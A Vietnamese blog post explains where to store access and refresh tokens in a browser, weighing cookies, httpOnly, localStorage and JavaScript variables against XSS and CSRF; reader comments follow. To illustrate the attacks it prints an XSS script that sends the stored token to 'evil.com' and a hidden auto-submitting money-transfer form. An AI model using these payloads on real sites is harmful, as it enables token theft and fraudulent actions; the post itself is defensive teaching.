Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? Phần 2

Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? Phần 2

Bài viết trong chủ đề này:
  1. Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa?
  2. Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? Phần 2
Tin ngắn hàng ngày dành cho bạn
  • Manus đã chính thức mở cửa cho tất cả người dùng rồi đấy mọi người. Cho những ai chưa biết thì đây là một công cụ viết báo cáo (làm mưa làm gió) giống như Deep Research của OpenAI á. Mỗi ngày được miễn phí 300 Credits để nghiên cứu. Mỗi lượt nghiên cứu tiêu tốn tuỳ thuộc vào độ phức tạp của yêu cầu. À với cả họ đang có chương trình tặng miễn phí Credits hay sao á. Như mình thì vào thấy được hẳn 2000.

    Mình dùng thử, so sánh với cùng một lệnh giống như đợt trước dùng bên Deep Research thì nội dung khác biệt nhau hoàn toàn. Manus báo cáo như kiểu viết văn hơn so với OpenAI là các gạch đầu dòng và bảng biểu.

    À lúc đăng ký xong có bắt nhập số điện thoại để xác minh, nếu lỗi thì các bạn đợi qua ngày thử lại xem có được không nhé.

    » Xem thêm
  • Mọi người chắc nghe nhiều về xu hướng tìm kiếm thông tin bằng AI chứ không cần công cụ tìm kiếm như Google nữa rồi đúng không? Không đâu xa ánh xạ vào bản thân thì thấy đúng thật, thi thoảng mới tìm kiếm thôi chứ còn đâu toàn hỏi tụi AI.

    Ngay từ đầu viết blog, thứ mà mình hướng đến là chia sẻ kinh nghiệm chứ không phải là những bài mang nặng tính kỹ thuật, máy móc, hướng dẫn từ đầu... Vì thời điểm đó đã có quá nhiều người làm nội dung này rồi và họ làm rất tốt, tại sao mình phải cố phát minh lại bánh xe? Một điều nữa là tin tưởng độc giả của mình có khả năng tìm hiểu vấn đề. Nếu bạn đọc đủ nhiều các bài viết trên blog thì thấy mình luôn cố gắng chèn thêm các liên kết tham khảo ngoài bài viết, nêu ra vấn đề mở và rất ít khi kết luận chắc chắn một điều gì đó.

    Mình đã cố gắng rèn luyện kỹ năng viết, kỹ năng trình bày và cả cách tương tác với độc giả để mang lại giá trị cho họ. Nhiều lúc ngồi lật lại các con số thống kê thấy lượng đọc bài viết tăng lên lại cảm thấy vui. Nhưng khi nguồn truy cập đến từ Google thì lại thấy buồn, vì điều đó chứng tỏ họ biết đến mình chỉ khi đang cố đi tìm giải pháp, có thể họ chỉ đọc chớp nhoáng, may ra tìm được cách giải quyết và thế là đóng cửa sổ trình duyệt rồi đi như một cơn gió.

    Chừng vài tháng đổ lại đây, một điều khiến mình rất vui đó là lượng người truy cập thẳng vào trang chủ mà không thông qua công cụ tìm kiếm đang tăng dần lên, có nhiều hôm lượng truy cập tự nhiên còn cao hơn cả đến từ Google. Điều đó chứng tỏ độc giả đã có thói quen quay lại trang của mình nhiều hơn và họ tìm thấy được giá trị từ blog mang lại. Vui mừng khôn xiết 🤩

    Bên cạnh đó thì lượng truy cập vào chuyên mục Threads - tức là mục mình đang viết bài này đang cao hơn bao giờ hết. Điều đó chứng tỏ xu hướng đi theo tin nhanh là đúng đắn. Mình có thể ngồi cả ngày để viết tin ngắn cho bạn đọc vì nó rất nhanh mà tiện, không tốn công đi tìm tài liệu để viết, không tốn cả thời gian viết nữa, còn mình thì có rất nhiều thứ để chia sẻ 😅. Nhưng không vì thế mà bỏ bê các bài viết dài, vì dài thì có nhiều thông tin để chia sẻ hơn.

    Vài lời tâm sự thế thôi chứ hơn một tháng nay mình chưa viết bài viết mới nào vì công việc bận quá. Xong lâu dần cứ trì hoãn lại thành lười. À với cả tháng 5 này rất thích hợp để đọc các cuốn sách về cách mạng á. Có hôm đọc đến 2 giờ sáng mới đi ngủ 🥱

    » Xem thêm
  • Mình mới nhìn thấy một trang web khá thú vị nói về các cột mốc đáng nhớ trong lịch sử phát triển Internet toàn cầu: Internet Artifacts

    Chỉ từ 1977 - khi Internet còn nằm trong hộp thí nghiệm thì nhìn xem - giờ đây Internet đã khiến mọi thứ phát triển đến mức nào 🫣

    » Xem thêm

Vấn đề

Ở bài viết trước, Tại sao cần Refresh Token? Bạn đã biết cách lưu trữ Refresh Token và Access Token an toàn trong trình duyệt chưa? chúng ta đã biết tại sao nên dùng refresh token. Vấn đề đặt ra là nếu access token bị đánh cắp thì khả năng refresh token "không cánh mà bay" cũng là rất cao. Vậy thì việc sinh ra refresh token đâu có ý nghĩa lý gì nữa khi cơ hội đánh cắp cả hai là như nhau?

Để tìm ra câu trả lời, có rất nhiều cuộc tranh luận nổ ra và dường như chưa có hồi kết bởi vì ai cũng có ý đúng. Trong vai trò là một khán giả ngồi trên khán đài của sân bóng, quan sát trận đấu để từ đó tổng hợp và đưa ra những nhận định thấy tâm đắc nhất. Chẳng có gì mang ý nghĩa tuyệt đối mà còn phụ thuộc vào góc nhìn của mỗi người. Vậy, rất mong bạn đọc tiếp tục đóng góp ý kiến xuống dưới phần bình luận để bài viết được hoàn thiện hơn. Quay trở lại với bài viết lần này, chúng ta hãy cùng nhau tìm hiểu xem lưu access token và refresh token ở đâu trong trình duyệt để mang lại khả năng bảo mật tốt nhất. Hoặc ít ra là hiểu vấn đề để tìm chỗ lưu cho phù hợp.

Các hình thức tấn công nhằm vào access token & refresh token

Để tìm được cách ngăn chặn, trước hết chúng ta cần phải tìm hiểu xem có những hình thức tấn công nào nhằm vào access token và refresh token.

Về cơ bản có 2 hình thức. Một là "ăn cắp" thẳng thừng. Hai là lợi dụng để thực hiện hành vi mà người dùng không mong muốn. Tương ứng với hai hình thức đó là kỹ thuật tấn công XSS (Cross-Site Scripting) và CSRF (Cross-Site Request Forgery). À chưa hết, bởi còn một hình thức nguy hiểm nhất là PAA (Physical Access Attack). Tức là kẻ tấn công sử dụng trực tiếp máy của nạn nhân để truy cập và sao chép bất hợp pháp dữ liệu người dùng. Vì thế đừng bao giờ rời mắt khỏi thiết bị của bạn nếu trong máy chứa dữ liệu quan trọng. Nhưng vì PAA quá rõ ràng nên hãy tập trung vào hai hình thức tấn công XSS và CSRF.

XSS là một hình thức tấn công phổ biến. Kẻ tấn công bằng cách nào đó chèn được một đoạn mã JavaScript vào máy chủ. Máy chủ phân phối đoạn mã đó đến máy khách. Khi máy khách nhận được và thực thi đoạn mã, dữ liệu sẽ bị đánh cắp.

Lấy ví dụ, một trang web có tính năng bình luận. Ai cũng có thể bình luận và người khác có thể xem bình luận đó. Nếu trang web chưa ngăn chặn hành vi XSS, kẻ tấn công bắt đầu bình luận nội dung.

<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
</script>

Bình luận này phân phối đến những người khác. Ngay lập tức đoạn mã này được thực thi, nó ăn cắp access_token gửi đến một địa chỉ https://evil.com/steal.

Ngược lại, CSRF không trực tiếp ăn cắp, nó chỉ lợi dụng để buộc người dùng thực hiện hành vi không mong muốn.

Lấy ví dụ, bạn đã đăng nhập vào một trang ngân hàng điện tử bank.com. Về lý thuyết, access token & refresh token (nếu có) đã được lưu xuống trình duyệt và tự động gửi lên cho mỗi lần truy cập sau đó. Kẻ tấn công lừa bạn truy cập vào trang web của hắn, trang này có chứa đoạn mã độc trông giống như sau.

<form action="https://bank.com/transfer" method="POST" style="display: none;">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="666666">
  <input type="submit">
</form>

<script>
  document.forms[0].submit();
</script>

Dễ dàng nhận thấy đây là một đoạn mã được chạy tự động khi vừa truy cập. Nó gửi một yêu cầu chuyển tiền đến https://bank.com/transfer. Nếu bank.com không xử lý tốt CSRF thì kẻ tấn công đã thực hiện một phi vụ chuyển tiền trót lọt vì rõ ràng trình duyệt nhận thấy một yêu cầu gửi đến https://bank.com và nó ngay lập tức gửi đi access token hợp lệ.

CSRF có thể ngăn chặn bằng cách thiết lập SameSite=Strict hoặc SameSite=Lax trong cookies. Vậy nhưng không phải trang web nào cũng phù hợp cho hai chế độ này. Nói cách khác cần phải đề phòng trước những nguy cơ tiềm ẩn mà không dễ dàng nhận thấy.

Access token và refresh token lưu ở đâu?

Điểm lại trong trình duyệt, có các vị trí lưu trữ như sau:

  • Cookies
  • SessionStorage
  • LocalStorage
  • IndexdDB
  • Hay một số trình duyệt còn hỗ trợ Web SQL Database - Một dạng cơ sở dữ liệu quan hệ SQL.
  • Biến JavaScript (Variable)

Vì vậy, hãy thử phân tích xem điều gì xảy ra nếu lưu trữ access token và refresh token ở trong Cookies? Nếu lưu cả hai trong Cookies, chúng sẽ tự động đính kèm vào trong mỗi yêu cầu đến máy chủ. Điều này là không cần thiết và có phần thừa thãi vì không phải yêu cầu nào cũng cần đến refresh token. Ngoài ra, lưu trữ cả 2 trong Cookies đều có nguy cơ bị tấn công XSS và CSRF là rất cao. Nếu chẳng may trang web bị tấn công XSS, kẻ tấn công dễ dàng lấy được access token & refresh token.

Lưu trữ access token, hoặc refresh trong SessionStorage, LocalStorage, IndexdDB, Web SQL... có thể ngăn chặn được CSRF do yêu cầu không tự động đính kèm mã truy cập. Nhưng lại tồn tại nỗi lo XSS. Chỉ cần chèn được một đoạn mã JavaScript đơn giản, dữ liệu người dùng không cánh mà bay. Dễ dàng nhận thấy mấu chốt của vấn đề là kẻ tấn công lợi dụng mã JavaScript để ăn cắp, vậy có nơi nào trong trình duyệt mà JavaScript không thể truy cập vào được không?

Thật may mắn là có. Trong Cookies có một loại giá trị gọi là httpOnly - nơi mà JavaScript không thể truy cập vào được. Giả sử trang web bị tấn công XSS thì kẻ tấn công vẫn không thể nào lấy được mã truy cập. httpOnly mang đầy đủ yếu tố của một giá trị Cookies thông thường. Vậy thì có phải lưu cả 2 trong Cookies dưới dạng httpOnly là an toàn rồi không? Hmm... Chưa hẳn. Vì lúc này lại quay trở lại với bài toán dễ bị tấn công CSRF.

Đến đây bạn đọc có thể nhận ra rằng việc lưu trữ refresh token trong Cookies dưới dạng httpOnly lại miễn nhiễm với tấn công CSRF. Vì CSRF chủ yếu nhằm vào access token để lấy quyền truy cập của người dùng, trong khi refresh token thì không làm được điều này. Ngoài ra, việc sử dụng refresh token để xin cấp một access token mới chỉ diễn ra ở một điểm cuối (endpoint) nhất định. Chỉ cần thiết lập Cookies áp dụng ở API đó thì giải quyết được vấn đề lãng phí trong mỗi truy vấn. Quả là một sự lựa chọn hoàn hảo. Vấn đề lúc này là tìm vị trí thích hợp cho access token.

Thực tế, access token chỉ còn cách lưu trữ trong SessionStorage, LocalStorage, IndexdDB, Web SQL... là đã tránh được tấn công CSRF, chỉ còn mỗi mối lo duy nhất là XSS. Ngược lại, nếu lưu trong Cookies thì mối lo lại quay về với CSRF. Nói tóm lại không có giải pháp nào là tuyệt đối. Có lẽ lúc này cần quan tâm vào ngăn chặn XSS và CSRF hơn là lưu ở đâu.

Ngoài ra vẫn còn một nơi mà từ nãy đến giờ chưa có nhắc đến là trong biến JavaScript. Việc lưu trữ access token trong biến của JavaScript không đảm bảo an toàn trước XSS nhưng lại có những lợi ích hơn so với SessionStorage, LocalStorage... bên trên. Access token chỉ tồn tại trong vòng đời của trang hiện tại. Khi người dùng tải lại trang hoặc tắt trang web thì access token cũng mất. Kẻ tấn công chỉ có thể đánh cắp nếu chèn được mã độc trong phiên của người dùng và biết chính xác biến nào đang chứa dữ liệu access token.

Tổng kết

Có hai hình thức tấn công phổ biến nhằm vào access token và refresh token là XSS và CSRF. Trong khi XSS tận dụng việc chèn mã độc JavaScript để ăn cắp dữ liệu thì CSRF lại lợi dụng để thực hiện hành vi mà người dùng không mong muốn. Để ngăn chặn XSS, cách tốt nhất là lưu trữ refresh token trong Cookies ở trạng thái httpOnly. Access token nên được lưu trữ trong một biến JavaScript để loại bỏ tấn công CSRF và giảm thiểu nỗi lo XSS.

Cao cấp
Hello

Tôi & khao khát "chơi chữ"

Bạn đã thử viết? Và rồi thất bại hoặc chưa ưng ý? Tại 2coffee.dev chúng tôi đã có quãng thời gian chật vật với công việc viết. Đừng nản chí, vì giờ đây chúng tôi đã có cách giúp bạn. Hãy bấm vào để trở thành hội viên ngay!

Bạn đã thử viết? Và rồi thất bại hoặc chưa ưng ý? Tại 2coffee.dev chúng tôi đã có quãng thời gian chật vật với công việc viết. Đừng nản chí, vì giờ đây chúng tôi đã có cách giúp bạn. Hãy bấm vào để trở thành hội viên ngay!

Xem tất cả

Đăng ký nhận thông báo bài viết mới

hoặc
* Bản tin tổng hợp được gửi mỗi 1-2 tuần, huỷ bất cứ lúc nào.

Bình luận (4)

Nội dung bình luận...
Avatar
Nguyen Danh9 tháng trước
PA2 - Lưu trữ cả hai trong httpOnly cookie -> dễ bị CSRF nhưng có thể tránh được. PA3 - Chỉ lưu trữ Refresh Token trong httpOnly cookie -> an toàn khỏi CSRF. Vì sao đều lưu ở httpOnly cookie nhưng PA2 thì dễ bị CSRF còn PA3 thì an toàn ???
Trả lời
Avatar
Trần Ngọc Hải2 năm trước
Thật ra ko thể tránh khỏi việc dữ liệu bị đánh cắp cốt là cách xử lý sau khi bị đánh cắp như thế nào cho giảm thiểu tối đa rủi ro
Trả lời
Avatar
Nguyễn Văn Nhật2 năm trước
M có đọc được lời khuyên là nên lưu vào bộ nhớ ứng dụng ví dụ như reduce hoặc một biến nào đó khởi tạo trong ứng dụng. Ví dụ như là const token = 'xxx'
Trả lời
Avatar
Xuân Hoài Tống2 năm trước
Ý bạn là redux? Đúng vậy bạn có thể lưu lại AT hoặc RT vào đó nhưng nếu reload lại page thì sẽ bị mất và người dùng phải đăng nhập lại
Avatar
Nguyễn Văn Nhật2 năm trước
Trước khi reload mình sẽ lưu lại vào localStorage, nó giống như kiểu hiện 1 alert khi bấm vào reload vậy
Avatar
Xuân Hoài Tống2 năm trước
Người dùng vẫn có thể đột ngột tắt trình duyệt hoặc hệ điều hành cũng có quyền kết thúc tiến trình thế nên bạn sẽ không kịp lưu lại được
Avatar
Long Domi2 năm trước
H mới chịu ra cơ mà e muốn hỏi chổ CSRF kia là ntn ạ hơi khó hiểu
Trả lời
Avatar
Vũ Mạnh Đức2 năm trước
CSRF là một cuộc tấn công giả mạo người dùng, bạn có thể đọc thêm trên google hoặc https://developer.mozilla.org/en-US/docs/Glossary/CSRF. Đại loại là kẻ tấn công lợi dụng chính những request từ máy bạn để vượt qua được xác thực (bởi vì các request được gửi từ máy bạn) để thực hiện hành vi yêu cầu quyền xác thực. Những hành vi đó có thể gây nguy hiểm như đổi mật khẩu, đổi email...
Avatar
Long Domi2 năm trước
Thanks a e sẽ nghiên cứu ạ
Avatar
Long Domi2 năm trước
@gif [tfUW8mhiFk8NlJhgEh] Trả lời bình luận có cả email luôn ghê thật&nbsp;